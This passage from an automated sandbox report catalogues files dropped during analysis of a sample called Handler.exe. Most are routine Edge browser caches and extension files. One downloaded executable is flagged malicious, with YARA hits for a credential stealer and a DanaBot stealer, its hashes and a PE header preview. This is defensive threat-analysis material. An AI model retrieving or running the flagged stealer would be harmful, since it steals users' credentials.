Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.845527865307668
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxYxl9Il8uXSpOpxGPNDCZ/EtlWsVU/d1rc:mFYxSYwTtlWW
MD5:	9876A9492C0727D92042F82A8BF0FF44
SHA1:	C98B18B89543E53D70F233A0DDE0632556007A90
SHA-256:	8839761CD7DC361536E88AB32AEF0B8E26A3CFD399649DED994269810D7D5FBA
SHA-512:	C5BEBD8AFD50D5063EEB5DB8346525B9916F17E4F20A6676D90B9E442FA23E47E8174D190FF59430A55EAF94362E66DB4C45F6AE8D601FD74786F03DB0E1D9CA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.O.P.w.X.I.p.n.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.l.y.o.w.F.q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9961633551116758
Encrypted:	false
SSDEEP:	96:oYxoYi/Z97M7++6n/VwaDUmP8aW8B+7kzTsGA1:oqoXh5TU08aLhw
MD5:	43C47B05AA6412C2DE941D1D65051368
SHA1:	433A2743EA79C9BE4BDC6A8D4FC76DADDD8183A7
SHA-256:	0E4B2F3326C567DD84A01FF291D897F88798CA6110F61A827E239BA69C9F32BC
SHA-512:	6E1367D6B6675877D8187F6DDDA5836AECC61256593F9D0EFCDBD414B895C6D3FC84B113E4260E0EC19DB2AE8387302B25B6B720D88DAAD8F5EEC4E63E23AA11
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".P.Q.I.q.Q.4.J.n.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.l.y.o.w.F.q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.90404264663076
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xexl9Il8uXNaJNAEIg2jhn3qbgoM3Y1YKUp8ud/vc:aEYxNa0EV2l3egMOKA87
MD5:	9C5C20513CDD62838EF825C2964EB507
SHA1:	EDCB78FF588D612FAB5FCCBBF2271A70E84E4C02
SHA-256:	ACBE7AFDEB5CEC556B4C7379DDA9C5F19E3F926913B5030D260DB86D582BD09F
SHA-512:	494E6F76590592397B43D04D17F24438F60F60C07E6AA2E97F73B4A751A484B5DA9F7B69D7336059603CC1FDEE6EB072E9099EAD91A4DD0D1EE5D016136AE45E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".1.m.4.1.d.F.O.G.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.l.y.o.w.F.q.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.392200844269097
Encrypted:	false
SSDEEP:	96:6NnCsdHCsaNnCUbCYNnCc9CSNnCQTwdgECQcNnC8C/NnCdIhDCdENnCgwC1NnCZT:6NPFaNlNbNSwNANOIh6ENhfNs
MD5:	CE6A07B78AD78C7B72888BA5B08B8F95
SHA1:	BB144EC35E35165FBFBF3EF1598D76EE17DE0CB8
SHA-256:	40D36CABDDBF251E1DCD6027FD164CBA18DBE68CEDCDDFE5BD7EA9C1E69C84B2
SHA-512:	F7F3D384809590BD51FF3B58FBBA3D291632C77A075A974A91281C8BE22D0AE28BFCE03B650AC809C1963E4780D91D5FB6385F0BD24C3DC4E12C6F1265BB9907
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/093342B226E0CD555F9F5A2520FBC3FB",.. "id": "093342B226E0CD555F9F5A2520FBC3FB",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/093342B226E0CD555F9F5A2520FBC3FB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/34044258C66E928B1FE4DB9894C78B00",.. "id": "34044258C66E928B1FE4DB9894C78B00",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/34044258C66E928B1FE4DB9894C78B00"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5768704
Entropy (8bit):	7.177310372869276
Encrypted:	false
SSDEEP:	98304:2FcDb7q6XFlbwH09km8Wr+fPML/qDTdfGY8vCl6wv:h3u6XvbwU/8Wr+MLcpOns6w
MD5:	0A6AE4DE16757CD121632BAD3A903EDA
SHA1:	D6F1E5B9E94CB3F29873CD935356F586858A9FE7
SHA-256:	3454A44D19DA21B765B39886811918F59092CD9B1D0FCD9020F9779283B27B74
SHA-512:	E08BA43ABFC5494AA01EE3006656D1F6ADC70403EAFB38705C79104F52AAD1C7FEC619DCA06F8EFBB1128A15C6895BE4FDDA7A0552598DC87CAA34484EEE9966
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: Handler.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....g..................O..6......D.O.......O...@...........................Y..................@....................T......`T..A....X..X....................T...............................T.....................PmT.......T......................text....O.......O................. ..`.itext..`.....O.......O............. ..`.data.........O.......O.............@....bss..........S..........................idata...A...`T..B....S.............@....didata.......T.......S.............@....edata........T.......S.............@..@.tls....(.....T..........................rdata..\.....T.......S.............@..@.reloc........T.......S.............@..B.rsrc....X....X..X....W.............@..@..............Y.......X.............@..@................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.373959867687954
Encrypted:	false
SSDEEP:	48:SfNaoCtTEC2/fNaoC5B85C5cfNaoCKJG8JQCKJQfNaoCbqw8J60UrU0U8CbG:6NnCtTEC2XNnCzUCSNnC2G8QC2cNnCZv
MD5:	9EB420AA5700039920D88C7AA28769BB
SHA1:	9E9199946113D9A6B8836CBA47240F577EAEA02C
SHA-256:	53C7026468F7B40EC77D6B001DBA1D34A017022348CA8E48098AADB6EA27F98B
SHA-512:	FA4C4C759A6CC670C46BDAC035F8E8C334C4C6FC266140B9FB2868B1761D1AF378818D484B34A901E24B0E69E2E16B4E05DEB0A9E6B9A5C04C8BACD10776F01B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/0523AA4BC7FB479899C18B51CCCD492E",.. "id": "0523AA4BC7FB479899C18B51CCCD492E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/0523AA4BC7FB479899C18B51CCCD492E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/D9C18BCE62CBAD220755CFC61065F0D1",.. "id": "D9C18BCE62CBAD220755CFC61065F0D1",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/D9C18BCE62CBAD220755CFC61065F0D1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\1a9f8175-958f-45e1-ab26-3063a9739e3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\3ee80758-3649-499c-a4e7-39227153c496.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\9afc5e41-a0e9-469a-b6c3-a96e2ce57138.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a9ce90b6-367f-4144-9254-71d382b210d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.3899085164546925
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrA:8e2Fa116uCntc5toY2GM
MD5:	D06F443D24AB7FF73E80EF8BDCC07213
SHA1:	ED6E04C465B8C13F8D31FE0F79DEE8CD31520210
SHA-256:	D71268A09C0F109755FD876D1FA6CAF0D65A464D182C7FB5BB7C0D5805BE8E4F
SHA-512:	DA076DA24876A31A4F359EB994E727B9D0291DB3B7E93E574B0BF382EA2BE2F0707FB3729D94166D03594C1317E77454DE1B940E89C7702AE1B03A409BE4B43A
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1327794400\3ee80758-3649-499c-a4e7-39227153c496.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1327794400\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1327794400\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1327794400\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
